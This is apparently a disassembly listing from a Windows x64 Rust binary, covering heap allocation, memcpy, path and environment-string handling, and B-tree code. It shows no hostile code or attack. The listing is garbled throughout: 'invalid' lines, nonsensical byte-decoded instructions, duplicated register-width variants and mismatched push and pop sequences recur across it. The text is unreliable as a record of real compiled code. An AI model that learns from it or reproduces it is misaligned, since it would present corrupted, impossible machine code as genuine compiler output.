mov eax, dword [0x1400f92c4]
mov rcx, qword gs:[0x58]
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
mov rax, qword [rcx + rax*8]
inc qword [rax + 0xc0]
inc dword [rax + 0xc0]
mov byte [rax + 0xc8], 0
or al, 0
add byte [rax], al
add al, ch
pop rax
add byte [rax], al
add byte [rdi], cl
or esp, dword [rsi + 0xf]
invalid
invalid
call fcn.140086160
ud2
nop word [rax + rax]
mov qword [rsp + 0x10], rdx
push rsp
and al, 0x10
push rbp
push rsi
push rdi
sub rsp, 0x20
lea rbp, [rdx + 0x40]
mov rsi, qword [rbp - 0x18]
mov esi, dword [rbp - 0x18]
invalid
mov esi, dword [rbp - 0x18]
mov rcx, rsi
mov rdi, qword [rbp - 0x10]
call qword [rdi]
cmp qword [rdi + 8], 0
invalid
or byte [rax], al
add byte [rbp + rbx + 0x48], dh
cmp dword [rdi + 0x10], 0x11
je 0x140086151
cmp qword [rdi + 0x10], 0x11
jb 0x14008613f
mov rsi, qword [rsi - 8]
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
xor edx, edx
mov r8, rsi
mov eax, esi
mov eax, esi
call qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x20
pop rdi
pop rsi
pop rbp
ret
push rsp
and al, 0x20
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x40]
lea r8, [0x1400f0cc0]
invalid
stosd dword [rdi], eax
invalid
invalid
add eax, 0x6ab1b
movsxd r9, dword [r8 + rdx*4]
add r9, r8
mov rdx, rsi
mov r8, rdi
mov r8, rdi
jmp r9
add rcx, 4
jmp 0x1400861ef
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 8
add ecx, 8
jmp 0x1400861ef
mov ecx, 6
jmp 0x1400861ef
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 2
jmp 0x1400861ef
rol dword [rdx], 0xeb
add eax, 0x2b9
add byte [rax - 0x77], cl
sub rdx, rcx
invalid
mov ecx, 2
mov rdx, rsi
sub rdx, rcx
invalid
retf 0x820f
jb case.0x1400826b1.279
add rcx, rdi
add ecx, edi
mov r8, rcx
test rdx, rdx
test edx, edx
je case.0x14007daa2.422
movzx eax, byte [r8]
cmp al, 0x2f
sete cl
invalid
cmp al, 0x5c
pop rsp
sar dword [rsp + rbx*2], 0xf
xchg esp, eax
ror byte [rax], 0xc8
sete al
or al, cl
jmp 0x14008621a
xor eax, eax
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x60], rsi
movups xmm0, xmmword [rsp + 0x20]
movups xmm1, xmmword [rsp + 0x30]
adc byte [rsp + 0x30], cl
and al, 0x30
movups xmmword [rsp + 0x68], xmm0
movups xmmword [rsp + 0x78], xmm1
adc dword [rsp + 0x78], ecx
adc dword [rsp + 0x78], ecx
and al, 0x78
mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0x88], rcx
mov byte [rsp + 0x92], al
mov word [rsp + 0x90], 0x200
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rax], al
invalid
test byte [rdx + rdx*4], ah
xchg edx, eax
add byte [rax], al
add byte [rsi - 0x39], ah
test byte [rax + rdx*4], ah
nop
add byte [rax], al
add byte [rax], al
add cl, byte [rax - 0x73]
and al, 0x20
add byte [rdx], al
lea rcx, [rsp + 0x20]
lea rdx, [rsp + 0x58]
call fcn.1400849e0
out 0xff, eax
inc dword [rax + 0x920247c]
out 0xff, eax
inc dword [rax + 0x920247c]
mov rdx, qword [rsp + 0x30]
jne 0x140086278
mov rax, qword [rsp + 0x28]
jmp 0x14008627a
xor eax, eax
add rsp, 0x98
pop rdi
pop rsi
invalid
add byte [rdi + 0x5e], bl
ret
lea r8, str.library_std_srcpath.rs
mov rdx, rsi
call fcn.1400a9f20
ud2
invalid
or ecx, esp
int3
int3
mov rbx, qword [rcx]
mov rdi, qword [rcx + 0x10]
adc byte [rax - 0x77], cl
invalid
mov rdx, rdi
call fcn.140086170
test rax, rax
je 0x140086443
add dword [rax], eax
invalid
adc byte [rax - 0x77], cl
invalid
cmp rdx, 2
jne case.0x1400826b1.282
add dh, byte [rbp + 0x25]
movzx ecx, word [rax]
cmp ecx, 0x2e2e
jne case.0x1400826b1.282
mov r8d, 2
add al, byte [rax]
add byte [rax], al
xor r9d, r9d
test rax, rax
test eax, eax
test eax, eax
ror byte [rdi + rcx + 0x45], 0xc8
cmovne r9, rax
test r9, r9
jne 0x140086369
jmp 0x140086443
mov r8, rdx
nop word [rax + rax]
test r8, r8
je 0x14008633d
shl byte [rsi + 0xf], 1
invalid
mov rcx, r8
dec r8
cmp byte [rax + rcx - 1], 0x2e
jne 0x140086300
ror byte [rcx + 0x29], cl
retf 0x820f
mov r9, rax
xor eax, eax
test rax, rax
cmovne r9, rax
test r9, r9
test ecx, ecx
jne 0x140086369
jmp 0x140086443
test rax, rax
cmove r8, rdx
add r9, r8
sub r9, rbx
cmp rdi, r9
jb 0x140086382
ja 0x1400863fe
mov r14, rdi
add r14, 4
jb 0x14008648d
add al, 0xf
invalid
test edi, edi
je 0x1400863c3
mov qword [rsp + 0x20], rbx
mov qword [rsp + 0x28], 1
mov qword [rsp + 0x30], r15
jmp 0x1400863cc
mov qword [rsp + 0x28], 0
add byte [rax], al
add byte [rax], al
lea rcx, [rsp + 0x38]
lea r9, [rsp + 0x20]
mov r8, r14
call fcn.1400a58a0
cmp qword [rsp + 0x38], 0
mov rcx, qword [rsp + 0x40]
je 0x14008644f
invalid
movabs rax, 0x8000000000000001
movabs rax, 0x8000000000000001
cmp rcx, rax
jne case.0x140083924.181
add byte [rax], al
cmp rdi, r15
jne 0x140086415
inc rdi
mov qword [rsi + 0x10], rdi
mov rax, qword [rsi + 8]
sub rax, rdi
cmp rax, 2
jbe 0x140086463
mov rax, qword [rsi]
mov byte [rax + rdi + 2], 0x65
mov word [rax + rdi], 0x7865
cmp byte [rbp + 0x78], ah
mov word gs:[rax + rdi], 0x7865
cmp byte [rbp + 0x78], ah
add rdi, 3
mov qword [rsi + 0x10], rdi
add rsp, 0x50
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
mov qword [rsi], rcx
mov qword [rsi + 8], r14
mov rbx, rcx
mov r15, r14
cmp rdi, r15
cmp edi, edi
je 0x140086403
mov r8d, 3
mov eax, 3
add byte [rax - 0x77], cl
int1
mov rcx, rsi
mov rdx, rdi
call fcn.1400ab0a0
mov rdi, qword [rsi + 0x10]
jmp 0x14008642d
invalid
mov bl, 0x4c
lea eax, [0x1400e7d18]
add al, ch
invalid
cmp al, byte [rdx]
add byte [rdi], cl
invalid
add al, ch
invalid
test rcx, rcx
jne 0x140086494
mov edx, dword [rsp + 0x48]
call fcn.1400a9e00
add al, byte [rax]
add al, byte [rax]
ud2
push rbx
sub rsp, 0x28
mov rsi, r8
mov rbx, rdx
mov rdi, rcx
test r8, r8
invalid
je 0x140086503
sal byte [rsp + rcx*2 + 0x78], 0x77
js 0x140086530
ja 0x1400864c9
movzx eax, byte [0x1400f92c0]
mov rcx, qword [0x1400f91f8]
invalid
add byte [rax - 0x7b], cl
leave
mov dh, 5
add byte [rsi], ch
invalid
invalid
leave
jne case.0x140083d73.153
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
invalid
je 0x1400864f4
sal byte [rbp + rbx + 0x48], 0x89
ror dword [rax - 0x77], 5
invalid
mov rcx, rax
mov qword [0x1400f91f8], rax
xor edx, edx
mov r8, rsi
mov eax, esi
mov eax, esi
call qword [sym.imp.kernel32.dll_HeapAlloc]
mov r14, rax
test rax, rax
test eax, eax
test eax, eax
jne 0x140086509
mov ecx, 1
mov rdx, rsi
call fcn.1400a9e00
ud2
invalid
mov r14d, 1
mov rcx, r14
mov rdx, rbx
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
add al, byte [rax]
add al, byte [rax]
mov qword [rdi], r14
mov qword [rdi + 8], rsi
mov qword [rdi + 0x10], rsi
mov byte [rdi + 0x18], 0
sbb byte [rax], al
sbb byte [rax], al
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
call fcn.1400402a0
ud2
push r12
push rsi
push rdi
push rbx
sub rsp, 0x50
lea rbp, [rsp + 0x50]
mov qword [rbp - 8], 0xfffffffffffffffe
mov dword [rbp - 8], 0xfffffffe
mov dword [rbp - 8], 0xfffffffe
mov rdi, r9
mov rbx, r8
mov r14, rdx
mov esi, edx
mov rsi, rcx
test r8, r8
je 0x1400865bc
iretd
js 0x140086611
movzx eax, byte [0x1400f92c0]
mov rcx, qword [0x1400f91f8]
invalid
add byte [rax - 0x7b], cl
leave
jne case.0x140083948.175
invalid
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x1400865ad
mov rcx, rax
mov qword [0x1400f91f8], rax
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapAlloc]
mov r15, rax
test rax, rax
jne case.0x14008387e.191
mov ecx, 1
add dword [rax], eax
add byte [rax], al
mov rdx, rbx
call fcn.1400a9e00
ud2
mov r15d, 1
mov r12, qword [rbp + 0x60]
mov rcx, r15
mov rdx, r14
mov edx, esi
invalid
mov edx, esi
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp - 0x28], r15
mov qword [rbp - 0x20], rbx
mov qword [rbp - 0x18], rbx
pop rbp
invalid
pop rbp
call 0x140f8abaa
mov byte [rbp - 0x10], 0
mov byte [rbp - 0x10], 0
lea rcx, [rbp - 0x28]
fmul dword [r8 - 0x77]
cli
mov rdx, rdi
mov r8, r12
call fcn.1400837f0
movups xmm0, xmmword [rbp - 0x28]
adc byte [rbp - 0x28], al
adc byte [rbp - 0x28], al
movups xmm1, xmmword [rbp - 0x18]
movups xmmword [rsi + 0x10], xmm1
adc dword [rsi + 0x10], ecx
call 0x15056770e
adc dword [rsi + 0x10], ecx
movups xmmword [rsi], xmm0
add rsp, 0x50
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rdi
pop rdi
pop rbp
ret
call fcn.1400402a0
ud2
nop dword [rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x10], rdx
push rbp
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x20
lea rbp, [rdx + 0x50]
lea ebp, [rdx + 0x50]
lea ebp, [rdx + 0x50]
cmp qword [rbp - 0x20], 0
je 0x140086651
mov r8, qword [rbp - 0x28]
mov rcx, qword [0x1400f91f8]
scasd eax, dword [rdi]
sub eax, dword [rdi]
add byte [rcx], dh
sar bh, cl
adc eax, 0x29db7
invalid
scasd eax, dword [rdi]
sub eax, dword [rdi]
add byte [rcx], dh
sar bh, cl
adc eax, 0x29db7
invalid
add byte [rax + 0x20c48348], dl
nop
add rsp, 0x20
invalid
invalid
invalid
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
ret
int3
int3
int3
mov dword [rax + 4], ecx
mov dword [rax + 8], edx
push rax
invalid
ret
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x98
movaps xmmword [rsp + 0x80], xmm6
add byte [rax], al
add byte [rcx + rcx*4 - 0x3d], cl
add byte [rax], al
add byte [rcx + rcx*4 - 0x3d], cl
mov r14, rdx
mov rsi, rcx
mov rdi, qword [r8 + 8]
mov r12, qword [r8 + 0x10]
xor r15d, r15d
xorps xmm6, xmm6
invalid
lea rbp, [0x1400f0cdc]
sub eax, 0x6a613
add byte [rax - 0x77], cl
jl 0x1400866f1
invalid
mov qword [rsp + 0x20], rdi
mov qword [rsp + 0x28], r12
and byte [rcx + rcx*4 + 0x64], cl
and al, 0x28
mov r13, r12
lea r12, [rsp + 0x40]
jmp 0x1400866f9
cmp byte [rax + 0x10], 0x23
jne 0x1400868c4
mov qword [rsp + 0x60], rax
lea rcx, [rsp + 0x60]
and al, 0x60
call fcn.14007a090
cmp r13, rdi
je 0x14008676f
mov rax, qword [rbx]
add rax, r13
mov rcx, rdi
sub rcx, r13
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], r15
mov rcx, r14
mov rdx, r12
call case.0x140080e18.112
test rax, rax
je 0x14008678d
mov ecx, eax
and ecx, 3
movsxd rcx, dword [rbp + rcx*4]
add rcx, rbp
jmp rcx
add byte [rax], al
nop dword [rax]
mov rcx, rax
shr rcx, 0x20
cmp ecx, 0x28
ja 0x1400868c4
cmp rcx, 0x23
jne 0x1400868c4
pop rdx
add dword [rax], eax
invalid
jmp 0x1400866ea
mov r8d, 0x20
mov rcx, rbx
mov rdx, rdi
call fcn.1400ab0a0
mov rdi, qword [rbx + 8]
mov r13, qword [rbx + 0x10]
jmp 0x1400866fe
mov r12, qword [rsp + 0x50]
and al, 0x50
test r12, r12
je 0x140086900
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x75], cl
and al, 0x58
mov rax, qword [rsp + 0x58]
mov r15, rax
sub r15, r12
jb 0x140086928
add byte [rax], al
add byte [rax], al
mov rdx, qword [rsp + 0x48]
cmp rax, rdx
ja 0x14008693c
add r12, r13
mov qword [rbx + 0x10], r12
cmp rdi, qword [rsp + 0x20]
jne 0x1400866d3
invalid
invalid
invalid
invalid
invalid
cmp r12, rdi
jne 0x1400866d3
movaps xmmword [rsp + 0x70], xmm6
movaps xmmword [rsp + 0x60], xmm6
mov r9d, 0x20
add byte [rbp + rcx*4 + 0x64], cl
and al, 0x30
mov rcx, r12
mov rdx, r14
lea r8, [rsp + 0x60]
call fcn.140082610
cmp qword [rsp + 0x30], 0
lea rdi, [rsp + 0x38]
jne 0x140086882
mov r13, qword [rsp + 0x38]
test r13, r13
je 0x1400868eb
cmp r13, 0x21
jae 0x140086912
mov rcx, rbx
mov rdx, qword [rsp + 0x20]
mov r8, r13
call fcn.1400ab0a0
mov rdi, qword [rbx + 8]
mov r12, qword [rbx + 0x10]
mov rcx, qword [rbx]
add rcx, r12
lea rdx, [rsp + 0x60]
mov r8, r13
call sub.VCRUNTIME140.dll_memcpy
add r12, r13
mov qword [rbx + 0x10], r12
jmp 0x1400866d3
cmp byte [rax + 0x10], 0x23
jne 0x1400868b6
mov rcx, rdi
call fcn.14007a090
mov r9d, 0x20
mov rcx, r12
mov rdx, r14
lea r8, [rsp + 0x60]
call fcn.140082610
cmp qword [rsp + 0x30], 0
je case.default.0x14008689a
invalid
mov rax, qword [rsp + 0x38]
mov ecx, eax
and ecx, 3
loope 0x14008688f
lea rdx, [0x1400f0cec]
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
jmp rcx
pop rcx
movsb byte [rdi], byte [rsi]
invalid
shr ecx, 0x20
cmp ecx, 0x28
ja 0x1400868b6
cmp rcx, 0x23
je 0x14008685c
mov qword [rsi + 8], rax
mov eax, 1
mov qword [rsi], rax
jmp 0x1400868cf
mov qword [rsi + 8], rax
mov qword [rsi], 1
movaps xmm6, xmmword [rsp + 0x80]
add rsp, 0x98
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rax, qword [rsp + 0x20]
sub rax, qword [rsp + 0x28]
mov qword [rsi + 8], rax
xor eax, eax
mov qword [rsi], rax
jmp 0x1400868cf
sub r13, qword [rsp + 0x28]
mov qword [rsi + 8], r13
mov qword [rsi], 0
jmp 0x1400868cf
lea r8, [0x1400e8f68]
mov edx, 0x20
mov rcx, r13
call fcn.1400aa020
ud2
lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_srcio_borrowed_buf.rs_rustc_82e1608dfa6e0b5569232559e3d385fea5a93112library_alloc_srccollections_btree_navigate.rs
mov rcx, r12
mov rdx, rax
call fcn.1400aa2f0
ud2
lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_srcio_borrowed_buf.rs_rustc_82e1608dfa6e0b5569232559e3d385fea5a93112library_alloc_srccollections_btree_navigate.rs
mov rcx, rax
call fcn.1400aa020
ud2
cmp word [rbx], 0
je 0x140086f8c
mov r12, rbx
mov rcx, 0xfffffffffffffffe
xor edx, edx
nop word cs:[rax + rax]
mov r15, rdx
mov rax, rcx
inc rdx
add rcx, 2
cmp word [r12 + r15*2], 0
jne 0x140086dd0
lea rbx, [r12 + rdx*2]
cmp r15, 1
je 0x140086db0
test r15, r15
je 0x14008a367
xor r13d, r13d
nop dword [rax + rax]
cmp word [r12 + r13*2 + 2], 0x3d
je 0x140086e20
inc r13
add rax, 0xfffffffffffffffe
jne 0x140086e00
jmp 0x140086db0
lea r8, [r13 + 1]
cmp r13, r15
jae 0x14008a37f
mov rcx, rsi
mov rdx, r12
call fcn.14007e0a0
add r13, 2
mov r8, r15
sub r8, r13
jb 0x14008a399
lea rdx, [r12 + r13*2]
mov rcx, rdi
call fcn.14007e0a0
mov r8, qword [rbp + 0x460]
mov r9, qword [rbp + 0x468]
movdqu xmm6, xmmword [rbp + 0x470]
mov rcx, qword [rbp - 0x10]
mov rdx, qword [rbp - 8]
lea rax, [rbp]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rbp + 0x4c0], xmm0
movdqa xmmword [rbp - 0x20], xmm6
cmp byte [rbp - 0x18], 2
je 0x140086f8c
mov qword [rbp + 0x5a8], r9
mov qword [rbp + 0x5d8], rdx
mov qword [rbp + 0x5c8], rcx
movq rax, xmm6
add rax, r8
mov qword [rbp + 0x460], r8
mov qword [rbp + 0x468], rax
mov word [rbp + 0x470], 0
mov r15, r14
mov rcx, r14
mov rdx, rsi
mov qword [rbp + 0x5b0], r8
call fcn.14008b950
mov rax, qword [rbp + 0x5b0]
mov qword [rbp + 8], rax
mov rax, qword [rbp + 0x5a8]
mov qword [rbp + 0x10], rax
movdqu xmmword [rbp + 0x18], xmm6
movups xmm0, xmmword [rbp + 0x578]
movaps xmmword [rbp - 0x10], xmm0
mov rax, qword [rbp + 0x588]
mov qword [rbp], rax
mov rax, qword [rbp + 0x5c8]
mov qword [rbp + 0x460], rax
mov rax, qword [rbp + 0x5d8]
fadd dword [0xc9506f22]
test dword [rax + 4], ebp
add byte [rax], al
fadd dword [0xc9506f22]
test dword [rax + 4], ebp
add byte [rax], al
movdqa xmm0, xmmword [rbp + 0x4c0]
lea rax, [rbp + 0x470]
movdqu xmmword [rax], xmm0
mov byte [rbp + 0x5a7], 0
mov rcx, r15
lea rdx, [rbp + 0x4e0]
mov r8, rdi
mov r9, rsi
call fcn.14008bba0
cmp byte [rbp + 0x590], 2
je 0x140086db0
cmp qword [rbp + 0x580], 0
je 0x140086db0
mov r8, qword [rbp + 0x578]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x140086db0
mov rcx, qword [rbp + 0x570]
call qword [sym.imp.kernel32.dll_FreeEnvironmentStringsW]
mov r15, qword [rbp + 0x5b8]
mov rcx, qword [rbp + 0x4d8]
mov rax, qword [rcx + 0x50]
mov r9, qword [rcx + 0x58]
xor edi, edi
test rax, rax
setne dil
cmove r15, rax
xor esi, esi
jmp 0x140086fc9
xor eax, eax
mov r9, qword [rbp + 0x570]
test r15, r15
je 0x140087862
test rdi, rdi
je 0x140087020
test rsi, rsi
jne 0x140087020
mov edi, 1
test r9, r9
je 0x14008702a
mov rdx, r9
and rdx, 7
je 0x14008702f
mov rcx, r9
and rcx, 0xfffffffffffffff8
mov rsi, rax
nop dword [rax]
mov rsi, qword [rsi + 0x3d8]
dec rdx
jne 0x140087000
test rdi, rdi
jne 0x140087083
jmp 0x14008a2e8
mov rsi, rax
jmp 0x14008707e
mov rsi, rax
mov rcx, r9
cmp r9, 8
jb 0x14008707e
xor r9d, r9d
xor eax, eax
movzx ecx, word [rsi + 0x3d2]
mov r12, rsi
mov r13, r9
cmp r9, rcx
jb 0x1400870ca
nop word cs:[rax + rax]
mov rcx, qword [r12 + 0x160]
test rcx, rcx
je 0x140089ed3
inc rax
movzx r13d, word [r12 + 0x3d0]
mov r12, rcx
cmp r13w, word [rcx + 0x3d2]
jae 0x1400870a0
test rax, rax
je 0x140087160
mov rsi, qword [r12 + r13*8 + 0x3e0]
mov rcx, rax
dec rcx
je 0x14008714e
mov rax, qword [rsi + 0x3d8]
mov rax, qword [rax + 0x3d8]
mov eax, dword [rax + 0x3d8]
mov eax, dword [rax + 0x3d8]
mov rax, qword [rax + 0x3d8]
mov rax, qword [rax + 0x3d8]
mov rax, qword [rax + 0x3d8]
mov rax, qword [rax + 0x3d8]
mov rax, qword [rax + 0x3d8]
mov rsi, qword [rax + 0x3d8]
add rcx, 0xfffffffffffffff8
jne 0x140087110
xor r9d, r9d
jmp 0x140087167
lea r9, [r13 + 1]
mov rsi, r12
dec r15
dec edi
imul rax, r13, 0x38
lea r14, [r12 + rax]
add r14, 0x168
shl r13, 5
cmp byte [r12 + r13 + 0x18], 2
jne 0x1400871e0
mov rbx, qword [rbp + 0x4e0]
mov eax, 0
test rbx, rbx
je 0x140086fc9
mov r12, r9
mov r13, rdi
mov r9, qword [r14]
mov rax, qword [r14 + 0x10]
mov rdi, qword [rbp + 0x4e8]
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x578]
mov rdx, rbx
mov r8, rdi
call fcn.14008d3d0
cmp qword [rbp + 0x578], 0
je 0x140087438
xor eax, eax
mov rdi, r13
mov r9, r12
jmp 0x140086fc9
mov qword [rbp + 0x5c8], rdi
mov rdi, qword [r14 + 0x18]
mov rbx, qword [r14 + 0x28]
test rbx, rbx
mov qword [rbp + 0x570], r9
je 0x140087242
js 0x14008a34b
movzx eax, byte [0x1400f92c0]
mov rax, qword [0x1400f91f8]
test rax, rax
jne 0x14008722a
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14008a305
mov qword [0x1400f91f8], rax
mov dword [0x1400f91f8], eax
mov rcx, rax
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
jne 0x140087247
jmp 0x14008a305
mov eax, 1
mov qword [rbp + 0x5b8], r15
mov qword [rbp + 0x5b0], rax
mov eax, 0x48000005
mov dword [rbp + 0x5b0], eax
mov rcx, rax
mov rdx, rdi
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
movzx r15d, byte [r14 + 0x30]
mov rdi, qword [r14]
mov r14, qword [r14 + 0x10]
mov eax, 2
mov qword [rbp + 0x5d8], rax
test r14, r14
mov qword [rbp + 0x5a8], rbx
je 0x1400872f0
mov rax, r14
shr rax, 0x3e
jne 0x14008a330
mov rbx, r14
add rbx, r14
je 0x1400872f0
movzx eax, byte [0x1400f92c0]
mov rax, qword [0x1400f91f8]
test rax, rax
jne 0x1400872c5
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14008a355
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
xchg edi, eax
xor byte [rax], al
add byte [rax - 0x77], cl
add eax, 0x71f33
mov qword [0x1400f91f8], rax
mov rcx, rax
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapAlloc]
mov qword [rbp + 0x5d8], rax
test rax, rax
jne 0x1400872f2
jmp 0x14008a355
xor ebx, ebx
add r12, r13
mov r13, qword [rbp + 0x5d8]
mov rcx, r13
mov rdx, rdi
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rbp + 0x5b0]
mov qword [rbp + 8], rax
mov rax, qword [rbp + 0x5a8]
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rax
mov byte [rbp + 0x20], r15b
mov qword [rbp - 0x10], r13
mov qword [rbp - 8], r14
mov qword [rbp], r14
mov rbx, qword [r12]
mov rdi, qword [r12 + 0x10]
test rdi, rdi
mov qword [rbp + 0x598], r14
je 0x14008739a
mov r15, qword [rbp + 0x5b8]
js 0x14008a33a
movzx eax, byte [0x1400f92c0]
mov rax, qword [0x1400f91f8]
test rax, rax
jne 0x14008737f
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14008a317
mov qword [0x1400f91f8], rax
mov rcx, rax
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapAlloc]
mov r13, rax
test rax, rax
jne 0x1400873a7
jmp 0x14008a317
mov r13d, 1
mov r15, qword [rbp + 0x5b8]
mov rcx, r13
mov rdx, rbx
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
movzx eax, byte [r12 + 0x18]
mov qword [rbp + 0x460], r13
mov qword [rbp + 0x468], rdi
mov qword [rbp + 0x470], rdi
mov byte [rbp + 0x478], al
mov byte [rbp + 0x5c7], 0
lea rcx, [rbp + 0x578]
lea rdx, [rbp + 0x4e0]
lea r8, [rbp - 0x10]
lea r9, [rbp + 0x460]
call fcn.14008bba0
cmp byte [rbp + 0x590], 2
mov rdi, qword [rbp + 0x5c8]
je 0x140086fc0
cmp qword [rbp + 0x580], 0
je 0x140086fc0
mov r8, qword [rbp + 0x578]
js 0x140087427
add byte [rax], al
mov rcx, qword [0x1400f91f8]
xor edx, edx
sar bh, cl
adc eax, 0x28fd5
int 0x1d
invalid
sar bh, cl
adc eax, 0x28fd5
jmp 0x140086fc0
mov rax, qword [rbp + 0x580]
mov rdx, qword [rbp + 0x588]
mov rcx, qword [rbp + 0x590]
mov byte [rbp + 0x400], 0
test rdx, rdx
je 0x1400875c5
mov rax, qword [rax + rcx*8 + 0x3d8]
mov rcx, rdx
dec rcx
je 0x14008752e
invalid
add byte [rcx - 0x77], cl
enter 0xffffffffffff8349, 0xffffffffffffffe0
invalid
mov r8, rcx
and r8, 7
je 0x14008749e
mov rcx, r8
nop dword [rax]
movzx r9d, word [rax + 0x3d2]
mov rax, qword [rax + r9*8 + 0x3d8]
dec rcx
jne 0x140087480
not r8
not eax
add r8, rdx
mov rcx, r8
add rdx, 0xfffffffffffffffe
cmp rdx, 7
jb 0x14008752e
nop dword [rax]
movzx edx, word [rax + 0x3d2]
mov rax, qword [rax + rdx*8 + 0x3d8]
movzx edx, word [rax + 0x3d2]
mov rax, qword [rax + rdx*8 + 0x3d8]
movzx edx, word [rax + 0x3d2]
mov rax, qword [rax + rdx*8 + 0x3d8]
movzx edx, word [rax + 0x3d2]
mov rax, qword [rax + rdx*8 + 0x3d8]
movzx edx, word [rax + 0x3d2]
mov rax, qword [rax + rdx*8 + 0x3d8]
movzx edx, word [rax + 0x3d2]
mov rax, qword [rax + rdx*8 + 0x3d8]
movzx edx, word [rax + 0x3d2]
mov rax, qword [rax + rdx*8 + 0x3d8]
movzx edx, word [rax + 0x3d2]
mov rax, qword [rax + rdx*8 + 0x3d8]
add rcx, 0xfffffffffffffff8
jne 0x1400874b0
movzx ecx, word [rax + 0x3d2]
dec rcx
mov qword [rbp + 0x4c0], rax
mov qword [rbp + 0x4c8], 0
mov qword [rbp + 0x4d0], rcx
lea rcx, [rbp - 0x10]
lea rdx, [rbp + 0x4c0]
lea r8, [rbp + 0x400]
call fcn.14008d570
mov rax, qword [rbp + 0x40]
mov qword [rbp + 0x4b0], rax
movups xmm0, xmmword [rbp + 0x30]
movaps xmmword [rbp + 0x4a0], xmm0
movdqu xmm0, xmmword [rbp - 0x10]
movups xmm1, xmmword [rbp]
movups xmm2, xmmword [rbp + 0x10]
movups xmm3, xmmword [rbp + 0x20]
movaps xmmword [rbp + 0x490], xmm3
movaps xmmword [rbp + 0x480], xmm2
movaps xmmword [rbp + 0x470], xmm1
movdqa xmmword [rbp + 0x460], xmm0
mov rdx, qword [rbp + 0x48]
mov rax, qword [rbp + 0x58]
movzx ecx, word [rdx + 0x3d2]
cmp rax, rcx
cmp eax, ecx
cmp eax, ecx
jae 0x1400875fa
mov rcx, rdx
jmp 0x140087629
mov qword [rbp + 0x460], rax
mov qword [rbp + 0x468], 0
mov qword [rbp + 0x470], rcx
lea rcx, [rbp - 0x10]
lea rdx, [rbp + 0x460]
lea r8, [rbp + 0x400]
call fcn.14008d570
jmp 0x14008771b
mov r8, qword [rbp + 0x50]
nop
mov rcx, qword [rdx + 0x160]
test rcx, rcx
je 0x140087624
inc r8
movzx eax, word [rdx + 0x3d0]
mov rdx, rcx
cmp ax, word [rcx + 0x3d2]
jae 0x140087600
jmp 0x140087629
mov rax, r8
xor ecx, ecx
imul rdx, rax, 0x38
shl rax, 5
mov r8, qword [rcx + rdx + 0x198]
mov qword [rbp + 0x530], r8
movups xmm0, xmmword [rcx + rdx + 0x168]
movups xmm1, xmmword [rcx + rdx + 0x178]
movups xmm2, xmmword [rcx + rdx + 0x188]
movaps xmmword [rbp + 0x520], xmm2
movaps xmmword [rbp + 0x510], xmm1
movaps xmmword [rbp + 0x500], xmm0
mov r8, qword [rbp + 0x490]
mov qword [rcx + rdx + 0x198], r8
movaps xmm0, xmmword [rbp + 0x460]
movaps xmm1, xmmword [rbp + 0x470]
movaps xmm2, xmmword [rbp + 0x480]
movups xmmword [rcx + rdx + 0x188], xmm2
movups xmmword [rcx + rdx + 0x178], xmm1
movups xmmword [rcx + rdx + 0x168], xmm0
movups xmm0, xmmword [rcx + rax]
movups xmm1, xmmword [rcx + rax + 0x10]
lea rdx, [rbp + 0x538]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx], xmm0
lea rdx, [rbp + 0x498]
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx + rax], xmm0
movups xmmword [rcx + rax + 0x10], xmm1
mov rax, qword [rbp + 0x550]
mov qword [rbp + 0x40], rax
movaps xmm0, xmmword [rbp + 0x540]
movaps xmmword [rbp + 0x30], xmm0
movdqa xmm0, xmmword [rbp + 0x500]
movaps xmm1, xmmword [rbp + 0x510]
